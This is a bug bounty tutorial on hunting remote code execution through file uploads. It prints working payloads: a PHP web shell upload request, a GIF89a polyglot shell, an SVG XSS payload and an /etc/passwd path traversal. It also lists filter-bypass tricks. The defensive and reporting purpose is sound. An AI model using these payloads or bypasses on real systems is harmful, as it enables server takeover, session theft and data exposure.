Beyond the Image Tag: Hunting RCE via File Uploads in 2026
Published 2026-12-06 | Bug Bounty Series
The Quick Takeaway
File upload vulnerabilities aren't just about getting a .php file onto a server anymore. In 2026, it’s about exploiting the friction between modern cloud storage, legacy parsing libraries, and the desperate struggle of WAFs to understand "polyglot" files that look like images but act like code.
Why This Still Matters in 2026
You’d think we would’ve solved "uploading a script" by now, right? It’s 2026. We have AI-driven code reviews and "secure-by-default" frameworks. Yet, here I am, still pulling down high-five-figure bounties because developers trust the Content-Type header or think that moving files to an S3 bucket magically neutralizes them.
The reality is that "File Upload" has evolved. It’s no longer just about getting Remote Code Execution (RCE) on the web server itself. We're looking at Server-Side Request Forgery (SSRF) via metadata parsers, Cross-Site Scripting (XSS) through SVG files, and even "Cloud RCE" by triggering vulnerable lambda functions that process those uploads. Last year's CVE-2025-XXXXX (the "MagickSpool" vulnerability) proved that even the most hardened image processing libraries are one malformed pixel away from a total system takeover. If a site lets you change a profile picture, it’s giving you a door. Your job is to figure out if that door is locked or just leaning shut.
How It Actually Works
The root cause is almost always the same: misplaced trust.
A developer writes a function that expects a JPEG. They implement a check: "Is the file extension .jpg?" or "Does the browser say it's an image/jpeg?"
Here’s the breakdown of the failure points:
- The Client-Side Mirage: The UI checks the extension. You bypass this by just using Burp Suite. Simple.
- The MIME-Type Lie: The server checks the
Content-Typeheader sent by the client. Since the client (that's us) controls this header, it’s essentially useless for security. - The Metadata Trap: Even if the file is a "real" image, the library used to process it (like ImageMagick or a custom Python PIL implementation) might have a buffer overflow or a logic flaw when reading the EXIF data.
- The Extension Logic: The server checks for
.php, but ignores.phtml,.php5,.phar, or.config. Or worse, it uses a regex like/\.php$/but the server environment (like some Nginx/FastCGI configs) is misconfigured to executetest.php.jpgas PHP.
Finding It on Real Targets
When I start a new program, I don't just look for "Upload" buttons. I look for functionality. Where is the app processing data that I provide?
Recon Checklist:
- The Obvious: Profile pictures, "Contact Us" attachments, resume uploads for HR portals.
- The Less Obvious: "Import CSV/XML" features, ID verification (Passport/Drivers license), and "Upload from URL" (which is a goldmine for SSRF).
- The Hidden: Look for CMS editors (CKEditor, TinyMCE). These often have their own internal file managers that are configured differently than the main app.
- The Mobile API: Often, the web front-end has strict checks, but the API endpoint used by the mobile app (e.g.,
api.v3.target.com/upload) is running an older, lazier version of the validation logic.
Pro-tip: Check the server header. If it’s IIS, look for .aspx or .config bypasses. If it's Apache/Nginx, look for .php or .htaccess. If it’s a modern Node.js stack, you’re looking for RCE via library exploits (like unserialize in image metadata) or Local File Inclusion (LFI).
Exploitation Techniques
1. The Classic MIME-Type Swap
This is the "low hanging fruit" that still exists more often than it should. The server sees Content-Type: application/x-php and rejects it. You change it to image/jpeg but keep your PHP payload.
The Payload:
POST /upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ... ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg <?php echo system($_GET['cmd']); ?> ------WebKitFormBoundary-- If the server only checks the header, you’ve got a shell. If it checks the extension, try shell.php.jpg or shell.php. . (the dot-space-dot trick).
2. The Magic Byte Polyglot
If the server is actually smart, it will check the "Magic Bytes" (the first few bytes of a file that identify its type). A JPEG starts with FF D8 FF. A GIF starts with GIF89a.
I like to use the GIF89a trick because it’s valid ASCII.
The Payload:
GIF89a; <?php system($_GET['cmd']); ?> You save this as exploit.gif. If the server checks the magic bytes, it sees "GIF." If you can then convince the server to execute it (via a .php extension or a path traversal flaw), the PHP engine ignores the GIF89a; junk and executes the code.
3. The SVG "Sneak Attack" (XSS to Account Takeover)
Everyone forgets about SVGs. SVGs are XML-based images. If a site allows SVGs for logos or profile icons, you often don't even need RCE. You can get XSS, which on a high-value target is just as good for stealing session cookies.
The Payload:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" /> </svg> Upload this as profile.svg. If the site renders it directly, you’ve got XSS. In a bug bounty context, I’ve used this to pivot into an admin session by uploading an SVG that sends the admin's CSRF token to my listener when they view my "report."
Bypassing Common Defenses
"But my WAF blocks system() calls!" I hear you.
- Obfuscation: Don't use
system(). Usepassthru(),exec(),shell_exec(), or backticks (`ls`). - The "Long Tail" Extension: If
.phpis blocked, try.phtml,.php3,.php4,.php5,.phps, or.phar. On IIS, try.ashx,.asmx, or.config. - The Null Byte (Legacy): Sometimes,
shell.php%00.jpgstill works on older PHP versions (pre-5.3) or poorly written C-based parsers. The validator sees.jpgand passes it, but the filesystem stops at the null byte and savesshell.php. - The Case Sensitivity Flip: On Windows-based servers,
SHELL.pHpmight bypass a regex but still execute as PHP.
The "Cloud" Bypass: If the file is being moved to S3, you can't get RCE on the S3 bucket. But, look at how the file is called. Does the app use include() on the uploaded path? If so, you have LFI. Does it use a thumb.php?file=my_image.jpg script to resize images? That’s your target for path traversal: thumb.php?file=../../../../etc/passwd.
Writing the Report
When you find this, don't just send a screenshot of phpinfo(). That’s amateur hour.
- Severity: Critical (if RCE), High (if XSS or SSRF).
- Impact: Describe exactly what you can do. "I can execute arbitrary commands on the server, allowing for full data exfiltration, lateral movement within the internal network, and total compromise of the application database."
- Proof of Concept (PoC):
- Upload the file (show the Burp request/response).
- Access the file (provide the URL).
- Execute a harmless command like
idorwhoami.
- Mitigation: Don't just say "fix it." Suggest renaming files to random UUIDs upon upload, using a dedicated "no-execute" domain for user-generated content (like
usercontent.target.com), and validating the actual content of the file, not just the headers.
Payout Expectations
File upload vulnerabilities are the "blue chips" of bug bounty.
- HackerOne/Bugcrowd (Enterprise): A confirmed RCE via file upload on a main production domain? You're looking at $10,000 to $30,000+.
- Mid-Tier Programs: Usually $3,000 to $7,000.
- SVG-based XSS: Usually $500 to $2,000 depending on the sensitivity of the page it’s on.
If you can prove the RCE leads to a cloud metadata breach (getting AWS keys), that's often a "Max Bounty" situation. I’ve seen those hit $50k on platforms like Intigriti for high-tier targets.
Happy hunting. Remember: the server is only as strong as its weakest parser.
